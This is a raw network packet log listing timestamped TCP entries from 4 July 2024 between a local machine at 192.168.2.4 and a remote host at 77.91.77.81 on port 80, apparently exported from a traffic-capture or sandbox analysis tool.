Jul 4, 2024 20:34:28.436472893 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436490059 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436502934 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.436512947 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.436523914 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.436580896 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436590910 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436602116 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436611891 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436619043 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.436623096 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436633110 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.436659098 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.436676025 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436686993 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436697960 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436706066 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.436707973 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436722994 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436733961 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436737061 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.436749935 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436758041 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.436760902 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436772108 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436780930 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.436781883 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436800003 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.436821938 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.436831951 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436847925 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.436866999 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.436885118 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.437046051 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.437097073 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.437108040 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.437134027 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.437159061 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.437165022 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.437175989 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.437186003 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.437201977 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.437210083 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.437237024 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.437345028 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.437355995 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.437366009 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.437376022 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.437383890 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.437386990 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.437402964 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.437407970 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.437413931 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.437427998 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.437431097 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.437443018 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.437455893 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.437457085 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.437468052 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.437474966 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.437489033 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.437513113 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.499645948 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.499658108 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.499670029 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.499681950 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.499716997 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.499722004 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.499732018 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.499733925 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.499757051 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.499783993 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.499849081 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.499861002 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.499877930 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.499886036 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.499888897 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.499897003 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.499900103 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.499911070 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.499917984 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.499929905 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.499931097 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.499944925 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.499953985 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.499955893 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.499979019 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.500000000 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.500010967 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.500011921 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.500021935 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.500031948 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.500045061 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.500047922 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.500070095 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.500072002 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.500077963 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.500107050 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.530313969 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530344009 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530354977 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530411005 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.530421019 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530433893 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530443907 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530456066 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530467033 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530488014 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.530504942 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.530554056 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530564070 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530575991 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530586958 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530596972 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530608892 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530618906 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.530623913 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530627966 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.530652046 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.530652046 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530663013 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530673981 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530683994 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530694962 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530700922 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.530704975 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530716896 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530721903 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.530726910 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530747890 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.530770063 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.530935049 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530946016 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.530957937 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531003952 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.531011105 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531022072 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531033039 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531044006 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531079054 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.531090021 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.531177044 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531188011 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531198978 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531209946 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531219959 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531229973 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531239033 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.531240940 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531251907 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531263113 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531270027 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.531285048 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.531313896 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.531317949 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531333923 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531344891 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531363964 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531364918 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.531374931 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531384945 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531388998 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.531390905 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531397104 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531403065 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531409025 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531436920 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.531497955 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.531600952 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531611919 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531620979 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531639099 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531650066 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531660080 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531661034 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.531675100 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.531677961 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531689882 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531699896 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531699896 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.531718969 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531729937 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531738997 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531745911 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.531753063 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531755924 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.531766891 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.531790972 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.531821966 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531832933 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531843901 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531855106 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531867981 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531898975 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.531908035 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531918049 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531922102 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.531929970 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531940937 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531948090 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.531950951 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.531961918 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.531991005 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.532303095 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.532352924 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.532363892 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.532387018 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.532398939 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.532416105 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.532426119 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.532437086 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.532448053 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.532452106 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.532459021 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.532474995 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.532496929 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.532507896 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.532519102 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.532530069 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.532541037 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.532561064 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.561830997 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.561841965 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.561847925 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.561853886 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.561858892 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.561865091 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.561870098 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.561876059 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.561881065 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.561923981 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.561949968 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.561959982 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.562031031 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.562041998 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.562052965 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.562148094 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.562148094 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.562148094 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.562148094 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.595484972 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.595499039 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.595504999 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.595509052 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.595515013 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.595519066 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.595525026 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.595529079 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.595535040 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.595539093 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.595545053 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.595549107 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.595557928 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.595561981 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.595567942 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.595571995 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.595577955 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.595583916 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.595652103 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.595662117 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.595668077 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.595881939 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.625647068 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.625881910 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.625897884 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.625907898 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.625917912 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.625927925 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.625937939 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.625948906 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.625962019 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.625972986 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.625982046 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.625993013 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626002073 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626019001 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626029968 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626038074 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626038074 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626038074 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626038074 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626038074 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626040936 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626050949 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626059055 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626061916 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626072884 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626072884 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626094103 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626106977 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626111984 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626123905 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626133919 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626147032 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626149893 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626157999 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626161098 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626178026 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626192093 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626207113 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626216888 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626228094 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626239061 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626266003 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626384974 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626395941 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626411915 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626422882 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626434088 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626441956 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626444101 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626456022 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626470089 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626473904 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626481056 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626492023 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626514912 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626526117 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626558065 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626569033 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626580000 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626597881 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626615047 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626692057 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626713037 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626724958 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626734972 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626745939 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626755953 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626760960 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626766920 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626775026 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626789093 CEST	49747	80	192.168.2.4	77.91.77.81
